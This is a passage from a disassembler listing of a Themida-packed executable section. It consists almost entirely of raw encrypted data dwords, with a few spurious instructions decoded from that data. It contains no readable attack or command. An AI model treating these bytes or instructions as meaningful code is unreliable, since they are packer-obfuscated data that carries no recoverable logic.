0AA6877FCh, 0A901F8B4h dd 6D14DA24h, 17E4020h, 3FAE137Dh, 89EA1BFCh, 2584BFA0h dd 0AC090740h, 9AF80516h, 70490895h, 6924836Ah, 3E90F617h dd 2A0035ECh, 0D8930A1Bh, 20E120D0h, 22E79430h, 0D7011268h dd 70959834h, 0CC6C3EFh, 0F47E9A0h, 3568C0E1h, 2CD607F9h dd 910A201Ah, 0AAF20BEEh, 4DF6D8E0h, 3A315262h, 241C2070h dd 8C38B54h, 3B690DE9h, 0E5185C18h, 0C3280C71h, 23EB8007h dd 9FC35866h, 5E180734h, 76FFE801h, 5D0D0724h, 1E04C481h dd 830690C2h, 89F8ECh, 0C7BF243Ch, 16FF70Eh, 148BFB30h dd 0C0658CE9h, 0EB815F2Ah, 0A6305E4Fh, 5D470C04h, 7E29F89Ch dd 846E5C3h, 0C14840Ch, 6DD41F25h, 391FF00Ch, 0C2006AC1h dd 7DFB7746h, 4F503368h, 741004F7h, 1155414h, 5A4281D9h dd 6CB33328h, 0E90D0631h, 0A12A452Ah, 9678DA03h, 10148B03h dd 1E85061Ah, 40774FFh, 8D3A8F5Ah, 0F788E941h, 0FE01F8FBh dd 408AF05Fh, 0C7518137h, 0FC96EC39h, 0E426D1h, 5362B5BDh dd 0DC684D06h, 1C291925h, 83069B8Bh, 1C599B0h, 0D5F70780h dd 251FB850h, 0E979F406h, 3855BFh, 2399BE56h, 8146649Fh dd 4567E600h, 0EEC15E73h, 87563008h, 0E9D0F7B2h, 36766431h dd 168C8B66h, 0D9B85457h, 5A2F260h, 372C47B1h, 20324018h dd 2EAC35D8h, 29EB1200h, 0D58958C2h, 0CD31155Ah, 718A08Bh dd 0BB0F5710h, 7F9C58CFh, 2854D498h, 3A4591F8h, 810111A0h dd 0EF4733F5h, 0E9F3316Eh, 1A9498B0h, 5C098187h, 0FE825250h dd 0A283BE7Eh, 207A2821h, 0F24FDD04h, 4097421Dh, 284139E3h dd 0FED34457h, 4C08316Ch, 9F3D40DAh, 3C7F8B1Ch, 2BA49553h dd 0F4327F9Dh, 405EA4DEh, 3073953Ch, 960C4A83h, 650CCE3Dh dd 5F20F1E9h, 3FFD00F2h, 0D60102F5h, 3468875Ah, 0FAA3A3ACh dd 0E90C8318h, 1084FFD3h, 953E6858h, 8C985FC3h, 510153Ah dd 0C4223F0Eh, 4EFAA00Eh, 3159715Dh, 2CA2D801h, 800105F7h dd 113D35E0h, 5555B120h, 5DF908BDh, 765CBA21h, 33D9F983h dd 0A731BE42h, 368FFC1h, 22B353ACh, 0CAA067CAh, 685FFA01h dd 0A9C856F4h, 88DF0814h, 10EB5014h, 662AD321h, 256A1FFh dd 7D247EF1h, 787309B9h, 4D000ABFh, 5F1C57E5h, 81DEF700h dd 0DAB9D2C6h, 0F1290468h, 96C8315Eh, 50054DA5h, 1BE9E089h dd 1EBDA57h, 0BC628F4Ah, 0FDA0A879h, 8B680880h, 3EAB3A6Ch dd 52E97D55h, 1204D661h, 8670180Eh, 0FE01E3D3h, 804B2CC0h dd 0C7C12EEFh, 585097D7h, 72885259h, 5AD105FAh, 40EDF6E9h dd 5CF0C1BBh, 849818C0h, 249B02FAh, 669A314Ah, 35BB418Fh dd 60016800h, 6430059Ah, 0C8EFA18Bh, 43CA2836h, 94D841AAh dd 85DF05FEh, 602B951h, 4A59C829h, 28E341E5h, 56B900CEh dd 62663322h, 0EC03FF9Ch, 53AD3DE1h, 0DC0C26B1h, 417FE040h dd 61D24960h, 4EF2C64h, 8959CF31h, 209581FDh, 453E80F9h dd 8F37C581h, 214B2C0Dh, 505D4207h, 52D519Ah, 981109Bh dd 0E204D1C2h, 15DE951h, 4B0A4595h, 0EA6138Fh, 0B7513010h dd 6C2A9623h, 88C3809Bh, 10F0AB86h, 40070F33h, 93C5B98h dd 968488C0h, 77FF003Ch, 1D4BE91Ch, 0B9831BA9h, 37497C74h dd 0E7C10464h, 50805003h, 48092114h, 831C4E01h, 946E9D2Ah dd 0E986A5EEh, 31260F86h, 68C1CFE8h, 3C632148h, 70C70178h dd 0E7E909C2h, 1431326Fh, 18682ABFh, 0EBF31A2Dh, 0B1312CD0h dd 737B836Ch, 0C0E72B5h, 76EC170Ah, 81198C12h, 2F30C4EAh dd 5A740EE2h, 0CAC720F2h, 3DF000C6h, 144C2A68h, 70BFC02Ch dd 0C83B0912h, 0E52AE7BCh, 378BBA0Eh, 0C74D5FB3h, 56451BECh dd 66E27E0Fh, 764A1C3Dh, 0C41FFA47h, 93204F57h, 0FD305901h dd 505B1158h, 11E91854h dd 81594EF6h, 5742F306h, 10C3001h, 61D440A8h, 969718E9h dd 408E351h, 0EB280F15h, 0E46E6C6h, 3C102D1Dh, 328A759Eh dd 819351E1h, 0EC29F51Ch, 15A8C5BCh, 0F79340FDh, 0F100D17Eh dd 3A48ACDAh, 39D22Dh, 0BF575072h, 1F371C7Bh, 73CF812Ch dd 0E986901Dh, 1F817C74h, 3D3169E8h, 26841512h, 0FEDA65DFh dd 96A71386h, 174C9019h, 297733E9h, 487B3190h, 148E918h dd 1E44962Bh, 0BB00DB77h, 7D86313Bh, 290F779h, 30B1E405h dd 0FF092927h, 0E9AF215Ah, 0D2740A58h, 90037D8Bh, 165F4C89h dd 0B870780h, 0CB3F01AAh, 8B6D2C59h, 58C63081h, 1920F82Ch dd 74F19866h, 0B2C9CF4Ah, 327FE983h, 0EA9DB363h, 0C6CF210Ch dd 0B886A020h, 4D9AE654h, 0D04D66ECh, 381C7C3Ch, 0F3BD370Eh dd 0F989EFC2h, 0FB4B825Fh, 0A841E473h, 566F683Eh, 5A8CED07h dd 260063DCh, 0D9F70AE0h, 0B097C981h dword_4E414C dd 0E9270A7Bh, 492815CEh, 8F805229h, 198C49B9h, 0B563A390h ; DATA XREF: ___:off_43A50Co dd 0D5290Dh, 0EBB5352h, 8935EB15h, 65D948h, 0E2407CB8h dd 12C1311Dh, 4765E958h, 72525F2Ah, 20687916h, 96C106EEh dd 2C0B0299h, 18833820h, 0C431B5Ch, 0D830357Dh, 744AAA14h dd 0C3A61ACh, 601D7ED5h, 53410D97h, 40159220h, 387D0C1Fh dd 6472E824h, 0F987D785h, 2651BB14h, 0C71E53C2h, 48F92A1Ch dd 5B150661h, 1E182D41h, 6CC078D6h, 19E0E2Dh, 132126E5h dd 0A98C05BDh, 80C610D6h, 26148B12h, 0E91A0D4Bh, 4D7623B1h dd 245C92EEh, 0B3127Fh, 0C534C29Eh, 50329670h, 605848F7h dd 0CBDD7D79h, 0C7818A6Ch, 8E5C8802h, 4F5B6608h, 0F6D94258h dd 34C7C0D0h, 0ABE93BA9h, 78983269h, 0ECB8CD01h, 315891A9h dd 0F3F03487h, 0C15CC79Ah, 0B668091Fh, 0C17F9B0Fh, 11906FDDh dd 2BC1134h, 0B801BE5Ch, 0E97D4645h, 0BB77B99Fh, 93A292C9h dd 0EB1E23CCh, 321B6800h, 0A64FAB96h, 0A4103BB4h, 96DA48E4h dd 0F0B0C580h, 16CCB316h, 0FAF5CB88h, 232F00EDh, 835E517Ch dd 749404C5h, 0E2CC18A4h, 391D6272h, 0ACCC5FF8h, 20C8F77Fh dd 0D350031h, 8964CB05h, 0A7B05790h, 0BE59E9EEh, 88A177ABh dd 1906AC33h, 92E608h, 9011B2BEh, 0FE4A311Eh, 0EEEC1A29h dd 93E9255Dh, 38425723h, 6858ED05h, 87612536h, 5850866Ah dd 0DF04C083h, 90D08BB7h, 0F4B5D098h, 9632B226h, 0C3014411h dd 50770568h, 0CC75205Eh, 53371503h, 387D3E9h, 142EBB24h dd 0AAD12DF2h, 68D940E3h, 1ECB5BB8h, 572AA754h, 24E4E1F3h dd 88DF011Eh, 5D1207F2h, 6A24B304h, 8724D0CAh, 0A15C185Bh dd 0CD4AB3E9h, 681A6E58h, 6EDA9457h, 9E55E766h, 1905A630h dd 99C281E2h, 5E60888Ch, 9E615C13h, 0E4483487h, 4BE43168h dd 34A572Fh, 0CBA41053h, 0D0833E91h, 9FD50CA3h, 3B2E025Dh dd 0E0310788h, 2C8A2DACh, 17713432h, 4BA1294h, 128DE32Ch dd 18835806h, 0F070888Ah, 0C78880DEh, 8F9CFDE4h, 5861E950h dd 34C4D44Bh, 6AF5E383h, 0EB61D38Bh, 8F39535Dh, 0C0F15B2Eh dd 7AE9F9F7h, 0B774FB60h, 90CF281Ch, 51264051h, 905AEB3h dd 0A891C4Fh, 0D284AC04h, 5BDA3541h, 0E438EA81h, 0C1391488h dd 0D0ACE409h, 0E0A20849h, 0B8595F01h, 5CD06CD9h, 34E87E29h dd 801CEAF6h, 0E2250CF9h, 50304A4Ch, 0F1C46B1Ah, 64E4FF66h dd 49CC41A8h, 749BE417h, 0E60005B2h, 39F68103h, 0C07EB16Ch dd 0DC8DFD0Ch, 50720508h, 0D1304Ch, 15532B39h, 0C5362CE9h dd 1854043Ch, 136E76C4h, 74765981h, 0A34A7Ch, 6BEB80EAh dd 0C3EAD328h, 0D7DDF4EBh, 89F11BC3h, 50ACCA50h, 555A2954h dd 805D11C8h, 0F66F1F6h, 0A8CC5DB6h, 6809BAD0h, 9C4510AAh dd 11427324h, 0E8280145h, 0F8257159h, 5A0F6691h, 9EC6B652h dd 7D23E946h, 1B2C926h, 37160F86h, 0A068D809h, 821E9A02h dd 5A88EC52h, 1A9F1B88h, 37A6F8A5h, 40495E76h, 0EDC103FAh dd 92FD3108h, 851061EFh, 16CAC505h, 0CB543C62h, 4A294DC2h dd 18304230h, 30E96117h, 0EA871B28h, 5EFC3693h, 0C2FE15AEh dd 0B2683F93h, 3B891821h, 672003C8h, 0B810027Bh, 42073209h dd 7F90E758h, 374BD107h, 886B0120h, 581208FDh, 8AE9AB60h dd 0C185C15Fh, 3167FB54h, 0F5A74174h, 2C9041F1h, 40D8C13Ah dd 0EED0C7C7h, 0E9CEFE05h, 0BA4A6DE7h, 2312A8F0h, 25B0F047h dd 44F85F2h, 1A878056h, 6C077C2Ah, 0D41B4835h, 0C0322D53h dd 24F75E90h, 41D805D0h, 0FC08E8C1h, 97059B40h, 58C689FBh dd 307840A0h, 0F6ACA942h, 320240F4h, 0E9DEF712h, 0B48E68D8h dd 626AB8A1h, 0EE81BAD1h, 0E62F2C8Fh, 2E40E5A9h, 0FF5DF280h dd 2E1A943Ch, 51800B8Fh, 75376850h, 99084CFDh, 0D9361E35h dd 0C2604920h, 0F37EE37Ah, 33835A02h, 5806EBC1h, 221E1ABBh dd 8820CB3h, 0C7503CCEh, 0ABD5F300h, 0D929A843h, 802FB05Bh dd 2D47CDC3h, 0A4034491h, 0BA1A8956h, 719CFA64h, 4ED83F8Eh dd 47399F14h, 8CF084h, 505AD730h, 7D017DB0h, 9C5B7837h dd 23CA9385h, 85EC2962h, 0D366A775h, 81044288h, 7945B64Ah dd 9E9AF6ADh, 9CA134E2h, 0A19A3C06h, 12064130h, 3A3F672Dh dd 8B827EE2h, 16CBC0Bh, 59CFE740h, 0E90EADBBh, 534CA263h dd 0F6DE6056h, 2D7A075Fh, 29D98951h, 879E4702h, 5BDD0101h dd 5A562CD9h, 2668389Fh, 9DE134Ch, 0E8C57C0Ch, 9829AA8Bh dd 14CB8D9h, 2D578564h, 0E0E27F21h, 11045905h, 0C9E9566Ah dd 0ECAD87B0h, 168AAA92h, 0C80F2D9Dh, 0C23BE70Ah, 546452E9h dd 31346C5Bh, 350F0801h, 416D6562h, 73682601h, 0B47C0114h dd 0C262810h, 811C8428h, 8724F58Dh, 42AC09C3h, 3F000C85h dd 0D7B864Dh, 50492D09h, 0E8078262h, 47B60002h, 5A6FF328h dd 3E9056AEh, 0B0DAB450h, 0BA4740B5h, 9C7DB809h, 1562826Bh dd 42ADC168h, 2F0F0E81h, 62534469h db 0Ah ; --------------------------------------------------------------------------- loc_4E4695: ; CODE XREF: Themida_:004E46E5j rol byte ptr [eax], cl movsd adc dh, [edx-7] insd jmp near ptr 4F75B6D8h ; --------------------------------------------------------------------------- db 1, 26h, 4Ah dd 7C10E968h, 0AE62513Eh, 0BF01A90Eh, 5F040BDEh, 0B9255B20h dd 26141043h, 8085B777h, 0A7C193EEh, 6801861Dh, 2EFF3CF4h dd 1A2DB657h, 0C61162A9h, 596BBAA7h, 2A688414h, 0AAE8680Fh db 2Ah, 16h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jb short loc_4E4695 call far ptr 0D12Ah:0C1F4CB6Bh hlt ; --------------------------------------------------------------------------- db 1 dd 6880C158h, 1385CF81h, 7AC31A1Ch, 12BD33FDh, 25AF70Ch dd 0F8291048h, 5558A050h, 1D3F5C90h, 88D7D3F7h, 0F050ED83h dd 6B41BDh, 0ED814EFAh, 3A533261h, 4FECF5ECh, 18342130h dd 18E80CBCh, 1CDDF745h, 2404E2B2h, 5D585512h, 9A82B8D4h dd 2AE845CCh, 54500BE3h, 83300558h, 6D0146F4h, 0F9BA527Bh dd 51C43B0Dh, 0E31501B9h, 0BDE918F8h, 98A0078Ah, 58603C74h dd 485C4E01h, 4C82EC2Dh, 0E1C25866h, 0A120E3DAh, 0E0314844h dd 61E33324h, 80E38953h, 0DD476164h, 48E1D137h, 8E094681h dd 0B1806FBAh, 55A1173Ah, 67CB0124h, 0BB241410h, 7976047Ah dd 810FC189h, 0E1EDB9C5h, 5717B3C2h, 0C9E24281h, 600E7756h dd 1A1FD4D9h, 0F20249C5h, 61E7F72Dh, 4F343D46h, 0F8DCBA50h dd 486817D2h, 106E8C18h, 870B289Ch, 4D4D641Ch, 0FE039018h dd 8E2C0C2h, 0F507EA99h, 803B75D9h, 0A9430C90h, 0D0095Dh dd 77E6255Ah, 662D6067h, 2BAD381Dh, 75E34D40h, 0A08150E8h dd 2C01A693h, 14FF1AEAh, 580D07C1h, 4C155451h, 0C8B6F951h dd 6E1183Dh, 16F3CE1Dh, 67CA013Ah, 2C23331h, 0B262E844h dd 105849Ch, 3C885E31h, 450F95B0h, 175DE866h, 2DAEDEA8h dd 8D01F89Ah, 167204Dh, 74305F0h, 9068885Eh, 0BA9B15h dd 0DAC2E62h, 486A2FE9h, 272C001Bh, 8800981Fh, 3414B923h dd 9E2458F5h, 4C05E90Bh, 0F428EF90h, 98E7C080h, 15252DEAh dd 0A4513C3Ah, 0EEDBE9E3h, 705E6B3Eh, 0C501CD68h, 9D68580Bh dd 0C2501A6Ch, 2268E6A7h, 0CC016586h, 599AEC80h, 4A4D4F6h dd 1E5D192Ch, 0C8C62145h, 43E1A28h, 3F3AE401h, 692C6802h dd 0F758FD40h, 2D40D816h, 76915E01h, 7AF85505h, 0C2011288h dd 511ED258h, 3E280860h, 0F66F8324h, 78E94D04h, 0CF051ED0h dd 75093D79h, 0FF62D618h, 0C7029DC1h, 0CE21E10Dh, 5081E159h dd 6D419163h, 22C8DF1h, 20781559h, 883F5F01h, 0C97B96F5h dd 575A0290h, 51742E68h, 15D424F7h, 9679B2DFh, 33846FF6h dd 25CEF7D2h, 178F14CEh, 895CF8E9h, 0F6EC20F6h, 0FDF908B2h dd 299D80A3h, 147B2DC8h, 592B0502h, 404BD768h, 5F91BB67h dd 1CB86C0Ah, 22E9E109h, 29D86AD5h, 0B29D4142h, 0FB569F9Fh dd 8EEF97A4h, 0D54CEA30h, 51126608h, 3F1754F6h, 0FE865AD8h dd 4FF21280h, 8BE11D30h, 70203EBh, 82D24C91h, 30E6240Ch dd 68DE6059h, 627C6EEFh, 60A95B52h, 18FE0682h, 66606656h dd 0B93EB768h, 8CB001CCh, 78156BE9h, 3C8D3DCh, 44E305BDh dd 80D17AEAh, 16A3C55Ch, 17904CE6h, 0D53A732Ah, 0B767B50Eh dd 59EF0007h, 0C732F780h, 7E04F806h, 0D32C1E1Dh, 60DE165Bh dd 66A4B568h, 78B3531Bh, 3C24B61Ch, 0E90B04E8h, 0FC46623Bh dd 916805A8h, 54183865h, 52071C83h, 59273F85h, 3458361Ah dd 15E9C808h, 3022640h, 39436BDDh, 0A18BF1B0h, 894B5676h dd 0A3C18600h, 94320345h, 8E914B1h, 43E3E650h, 1B05501Ch dd 80F14C39h, 0B2083C0Dh, 0BEDCE922h, 92661624h, 3B489E4Fh dd 2398835Dh, 37FF3348h, 9A690631h, 0A9F6526h, 3B1DFCE9h dd 9FC722Ah, 0C380CBFEh, 92E15D84h, 784858C2h, 57CEFC0h dd 0BE64349h, 8749B652h, 0C6304E72h, 0F1CEFE01h, 2B1A60CAh dd 7969C488h, 0D3A8ACC4h, 0BE560540h, 2085EB6h, 38EE8147h dd 0B9E13076h, 519934BDh, 0C689561Ch, 0A54BF193h, 202FE6F3h dd 919ED073h, 7489C2Eh, 6C23B269h, 8170983Fh, 42B2906h dd 16D6608Ah, 6DC52D1Fh, 88C15EB4h, 0B3DCF16Fh, 25F94C01h dd 29CFAF12h, 0DE348293h, 5E52976Ch, 127D6A7Ah, 41C9A15Fh dd 67CFC9Dh, 0EC192070h, 5DAD9C95h, 1174EA3h, 0A22FC7FBh dd 0CD687603h, 2A9B3747h, 14F0E26h, 830EE9DFh, 539B2988h dd 0A05E8C69h, 515D0B8Fh, 36815A39h, 9A4E3486h, 0C0612792h dd 0F15CA4Eh, 42112666h, 0B5597AA5h, 0B2167FF7h, 5F2AEA03h dd 34CE4A45h, 0C550B075h, 610B1703h, 9F636855h, 30AC4164h dd 0B61190D2h, 3312FA27h, 25CD6C29h, 0B5E90C01h, 393D122Ah dd 466E5CAh, 0F557C781h, 76CC4Ah, 0F30712CBh, 335CE92Ch dd 763C5A81h, 350C83CDh, 557C4261h, 8035B700h, 3FA98EFh dd 53525BFCh, 0FE93E788h, 9C97C2BCh, 5D183576h, 595456D3h dd 0E985E75Eh, 0FBC05EC0h, 124A0128h, 1E6036C1h, 0CEABCC7Fh dd 28F721B6h, 12FFDD78h, 7821530Ah, 273AD371h, 179FE3B2h dd 34334E37h, 7F964685h, 0F048259Ah, 40ED75C8h, 4DBB2203h dd 0C85DEA89h, 124B87F2h, 9574CE3h, 89103034h, 0B50F0DFDh dd 0A4D30149h, 23921924h, 30C11ABh, 0E42E02E1h, 0C159B450h dd 0BAB01E50h, 40E53B80h, 0EFBB7624h, 3DA0F500h, 0F253647Ch dd 511C1F06h, 7C31D7Ah, 63780240h, 70417DF3h, 47E7F0F0h dd 0C4C4930h, 16AD7BC1h, 0CDD0192h, 218A7896h, 73ABCA4Ch dd 3670EE03h, 12FF523Eh, 28148B9Eh, 3E5B1713h, 6882F327h dd 0D11CE864h, 2CC174FEh, 3A3166CAh, 0EA9F0539h, 5AD78F16h dd 45BF9A5h, 0C351CFFDh, 0E458C76Ch, 28BC85D1h, 0D8CD0ADDh dd 775CDD08h, 2312D9EBh, 0A231E864h, 80DE2FDBh, 7868F1F7h dd 65DE9445h, 0E1C3B105h, 8D6E3C1Ch, 0D421614Eh, 0C4F653D0h dd 0B76082Fh, 424B0201h, 0A3A45BEEh, 86A5898Ah, 51027544h dd 0FE552AB9h, 6E56406Fh, 14013061h, 4B6B120Ch, 75C7C48h dd 48732A37h, 0E103C9C3h, 7A2824BBh, 0BE922A60h, 89648596h dd 90954484h, 6A744207h, 73B145C5h, 90030693h, 0CE0A4D05h dd 0E80C87F7h, 0E9D196A9h, 0A19D52ACh, 0DB0FCD0h, 7C6AEF4Dh dd 9B021E26h, 0B472FB03h, 0E40C0411h, 8C74E998h, 3CCA01E2h dd 8989C3D8h, 26585E2h, 3D5A77B7h, 2C0A317Dh, 9A1E4DD8h dd 0BCD8E4EAh, 8030B462h, 0F858E476h, 0C45D6227h, 43229562h dd 0DE90CBB6h, 0E348C001h, 75EB0037h, 3EE9A32Ch, 0CA63CF43h dd 1BAA79E3h, 0D8DDEAB1h, 8958BBE7h, 29212E55h, 12E8C103h dd 6896B131h, 242B79FDh, 3266970Bh, 5D5657FAh, 0C10E5F1Ah dd 68012C7Eh, 30CF759Ch, 0B099662Bh, 56F110BCh, 332A66Eh dd 0DA288E87h, 5BAAC2C3h, 0FEE72750h, 20C082E1h, 0E9378732h dd 5B770C84h, 0D6A20475h, 3321748Ch, 92860FAAh, 0E577BB72h dd 0BD12D24Eh, 5C59C0E3h, 0F31828C5h, 5FDE6AD9h, 9698126h dd 0F935000Dh, 121C492Bh, 0A5BD801h, 190A2D06h, 8931875Ah dd 0FB58869Dh, 2506A16Ch, 3A543442h, 2B63E906h, 0D5ED1C23h dd 0E41971Eh, 0BE86B301h, 777A3A12h, 0C69F530h, 5C60449Dh dd 0E904276Bh, 0EC320139h, 293F0E91h, 51B05337h, 58DE40CBh dd 7AA8EBFEh, 129F687Dh, 0B01FF8F2h, 33950BA1h, 3A0066C2h dd 2F603C17h, 880CCEECh, 187B023Bh, 5544581Bh, 3861680Bh dd 3D006866h, 18F413Ch, 4AB8E9EEh, 320D9357h, 6CBF9DC1h dd 0B99392A2h, 43928DDCh, 10A14DE2h, 535C0487h, 7FEC5B54h dd 52DB68C2h, 19622A76h, 2F2DC64Ch, 218105B9h, 6DF3D5E9h dd 8107618h, 8A1F0401h, 8913F921h, 3E40A6D8h, 0C58DE028h dd 5CA20818h, 4D515815h, 254BBA68h, 94C58454h, 0A012A84Fh dd 800AD668h, 0E0496FE9h, 0B9C100D9h, 0C059CE88h, 2C0779EEh dd 12A02DC6h, 8DF23643h, 0A503883Eh, 890D89ADh, 0C2A30B8Ch dd 8C21780Eh, 9CF68C8Bh, 0D05C12D4h, 7715E19Ah, 0E0522725h dd 7F9E5394h, 5FFA1649h, 12511631h, 4FD5F021h, 75093090h dd 22A9DD66h, 61EB012Ah dd 0D34A3EC5h, 0A9EA831Dh, 79068D88h, 3C733025h, 21F73572h dd 2B732B22h, 0D016AC8Fh, 3DE0E969h, 96527182h, 283B2DC1h dd 0FAE9C5A7h, 2ADF6A0h, 25DCEE81h, 0EC442BE5h, 736F5BC4h dd 4AF56802h, 10912771h, 17FE4D78h, 0D7BEA150h, 7A91CCC7h dd 33280AA0h, 0C130B600h, 0D7F708EFh, 0CECF1D81h, 5BD27Dh dd 642DF1A9h, 5EFE31FAh, 0DA88E91Bh, 0FD3E9A4h, 0BA66D4h dd 67B451F0h, 295EF231h, 0D2546Ah, 204E9C7h, 0EED1FEF9h dd 5F7C317Eh, 8A0D4BD5h, 182E53A5h, 29E91EC8h, 24770E00h dd 29C5CE4Dh, 0E872FB80h, 30C2986Ah, 4108D5F7h, 0FE09B850h dd 0D0106E75h, 0F8ED80F8h, 43722674h, 0ED1714BCh, 0A57181A5h dd 1CE3262Dh, 0FAAA5466h, 0B9BCD0FEh, 6509B313h, 942878DAh dd 0FE84CFBAh, 5635CC3Ch, 0EEDBD2A3h, 0E50673AEh, 36AC177Fh dd 43D8A0B0h, 4BB70509h, 28DD24E9h, 2F605C2Ah, 2C76B9A5h dd 0D280F306h, 47AB4408h, 45B9D9F7h, 79CCF101h, 0D0DB5260h dd 7EC2AE92h, 0C98A49AAh, 685A5F02h, 53AF7929h, 4938314h dd 91BD52DDh, 0E0AFCCFCh, 199D6B5Fh, 9938DD0Bh, 0A6FB8A29h dd 30323790h, 55C7E9B1h, 0A92894B7h, 102B820Fh, 3410B8FAh dd 91502C6Eh, 0B1E57018h, 733A985Eh, 0F5C90FB2h, 0E104D1F6h dd 6E2E828Ch, 68706176h, 31584A93h, 0D1C0C22h, 356FCE3Ch dd 0B951EB29h, 7822E942h, 9958588Fh, 278B5A24h, 0B2544B92h dd 334CC00Ah, 0C482B289h, 7B28667Ah, 0EFA3E26Fh, 555AB6F1h dd 1EA10018h, 0E2814755h, 0C5514602h, 7469E909h, 0CA300B3Ah dd 0F58B7A0Bh, 2E3F7DC5h, 2C80CB2Fh, 68F02853h, 0D02D5659h dd 95233035h, 22FDE620h, 467C0934h, 484713Fh, 6D6FF0C1h dd 7CE5449h, 50D50F5Bh, 58BD6B4Fh, 42C34FB0h, 64FF6863h dd 72E299A2h, 7E083A65h, 30452C47h, 4B5E236Ch, 46CA014Ah dd 495F5B26h, 9E0253C4h, 15C301Ch, 97242D9h, 5178A908h dd 0D789496Bh, 5A00E2D0h, 0C480D4F6h, 76B75301h, 39E70984h dd 0ACE1BBE9h, 0FD233BFh, 0C4575FF9h, 0DFAC6096h, 4F4585C6h dd 9BB189B5h, 0BE20024Bh, 40CC41BCh, 1EC32840h, 1374609h dd 3C9D02EAh, 0DE3107BFh, 829377EAh, 23CF85BDh, 62DBC340h dd 53CE7482h, 0B2C565F7h, 93165FF1h, 8187CA68h, 214975Ch dd 0DAED42Dh, 0DCD39443h, 180E9C24h, 0F58764BBh, 8E9FFEE4h dd 0C1109845h, 98AEA3E5h, 4CCB253Eh, 0D4024F7Eh, 1F3F4FFh dd 855A535Ch, 3CF17FDDh, 0B2107767h, 0EF89D663h, 1BC7452Fh dd 5EBC323Eh, 369409F0h, 0A10C8366h, 307A384Ch, 34D4686Ch dd 5D9E98BDh, 0DBBB8032h, 395C6FFAh, 0C73B002Ch, 0DE01A8F4h dd 939B49E9h, 17685F1Eh, 4CBD6016h, 6C0A5A47h, 0B64B1AE9h dd 0EAEBEE80h, 0EF56D954h, 47B5A482h, 95546CACh, 0C8DF8A8Bh dd 3D22EB5Eh, 0D2A7364Ch, 13602BCAh, 2980E2D5h, 5394C5EBh dd 5DE30205h, 9980FB01h, 726644D7h, 0E558E913h, 9DCEBC40h dd 0EC6BB353h, 305579F3h, 0FC0CD4EBh, 879713E9h, 79645692h dd 8658B4BCh, 0A2099413h, 5B804B9Bh, 0B4540768h, 21306197h dd 0F5572127h, 7213E15h, 0C3071BF9h, 5458BA1Eh, 1A62554h dd 0C0A9B12Ch, 0F68003F8h, 49A7B0B9h, 0F11A451Dh, 0C8600646h dd 11EE4282h, 0DB28DD92h, 8B20835Fh, 63F0F4E3h, 0EAD10AB9h dd 12654424h, 7FDE56C0h, 0BF3BEE3h, 0CC785E55h, 850B4609h dd 74F60406h, 11785C0Bh, 13417AF6h, 0C411C320h, 0BC3FBC3h dd 87DE115Eh, 945B5C6Ch, 0F1C9C460h, 0C9AD7C14h, 6A0CF220h dd 2F35726h, 225B7D4Bh, 0B13BF043h, 187B1254h, 4D9094B3h dd 49026710h, 0B840D37Ch, 0DB0265Eh, 0EDC1025Dh, 14E95507h dd 5BEB850h, 6E6053Eh, 971DC683h, 0FAF68180h, 0B64112A8h dd 0ABE90B45h, 0B8668720h, 684E5059h, 591F2925h, 4128BE07h dd 55D5BD41h, 1BF529E0h, 275E9FE9h, 0E8815AD9h, 0FE3072FDh dd 0E9088E65h, 181BC86h, 0E8285604h, 841D22Ch, 1D4E6FBBh dd 0B92EEAE1h, 58C707B8h, 0E4A4DFF6h, 0D8290C90h, 6586D2FFh dd 1D5A05DDh, 3E4E976h, 48D0D30Eh, 595AA201h, 13834410h dd 1F9243E2h, 0B8A02DC8h, 0A7328BFh, 5350BB94h, 6CDE0CBBh dd 0E1580B2Dh, 9E9045F0h, 943FBE38h, 0AD0989h, 4F0C74B6h dd 0B42F32E9h, 56D66298h, 0F816801h, 6EC12238h, 414DCD0Dh dd 0E962B8A0h, 0BE022B01h, 78E3E953h, 6B8AB478h, 897A54C2h dd 1E027690h, 0E9524D3Ch, 7EB4B3Ah, 0A90C4EB2h, 61E06968h dd 0F375815Bh, 826CC33Ch, 84E9D989h, 3CB2E521h, 0A25BC5CBh dd 10E804A4h, 0E81C831h, 90761373h, 68052614h, 0B05D6C81h dd 74DB6410h, 48864A07h, 33D1EF81h, 37607BCBh, 66B30227h dd 5FFB8992h, 80C85DE1h, 544FB8B8h, 16522FAAh, 157E0BAh dd 0E9D02921h, 253728CDh, 689FB087h, 423B55FDh, 0C5E5082Eh dd 1BF4B849h, 1EAA44Bh, 2EED506Ch, 245BDA89h, 4134E91Fh dd 0ECC28CD9h, 4A1AF0CAh, 90C8F58h, 0E6C8BE0Fh, 98E2E6A6h dd 7AD201E7h, 22680F3Dh, 44636360h, 0F549E9C7h, 0DD5828BCh dd 48015A2Dh, 3D5FB27Ah, 0C3A52D79h, 3030E608h, 68555278h dd 0F0627B98h, 0CC3D05A4h, 931CA06Dh, 0C8F3CF34h, 0BEBA1E92h dd 90FB34CFh, 0DD285FE4h, 0FE252A7Fh, 0F074E4D8h, 20B4B6A5h dd 74A18215h, 28E970CCh, 0BA2CB76Ch, 831D9950h, 0B8186DBEh dd 4B16027h, 0C8C45F3Fh, 5091BF1Ah, 6F170BD3h, 680269F3h dd 8DAB7E68h, 8E970B0Ah, 4DE9DAF7h, 0D6083059h, 0C422657h dd 0F54B3294h, 80DB509h, 2A8C001Ch, 241B8D0Ch, 0AD3050E9h dd 0CA601EEh, 5C4E9720h, 66828B5Eh, 0C278F9F7h, 3AA56815h dd 0B951026Dh, 41CA14C9h, 8F6569EFh, 2C4A5526h, 0CF41B05Bh dd 1565C70h, 0F7495968h, 4C348B78h, 29984E1Ah, 26215A6Bh dd 0B81F8704h, 0B8DFF8B6h, 8B04DFBDh, 0E810C645h, 0D181DD9Ch dd 841A121h, 3372FA35h, 0A87EDB01h, 45C7214Fh, 6064F99Eh dd 375D0E82h, 60A4BE77h, 0D8DAE951h, 6DC927C0h, 0F6201A77h dd 0AE809D76h, 0EE80EDB6h, 0D6F6F813h, 1E097F08h, 85B5E88h dd 8101516Eh, 5C3EC8E1h, 40E3238h, 1CB4802h, 50685601h dd 808C2A1Dh, 0DCF68A9Ah, 650E9D12h, 0AF46B6D2h, 0B47EB5EDh dd 0E07635A2h, 3026689Fh, 5F625210h, 7B8DC15Ah, 0CF021962h dd 7A376803h, 9CF34660h, 898FB707h, 6984E9FDh, 4F7B89CAh dd 1340A5Dh, 0A98918C4h, 1505A5BEh, 0F53113DAh, 376AE259h dd 0F68A05DFh, 0C4C3FEDBh, 0C80184BAh, 0ADAB5B66h, 0B82D0E5Eh dd 0A020BB65h, 0FF1010CDh, 67300476h, 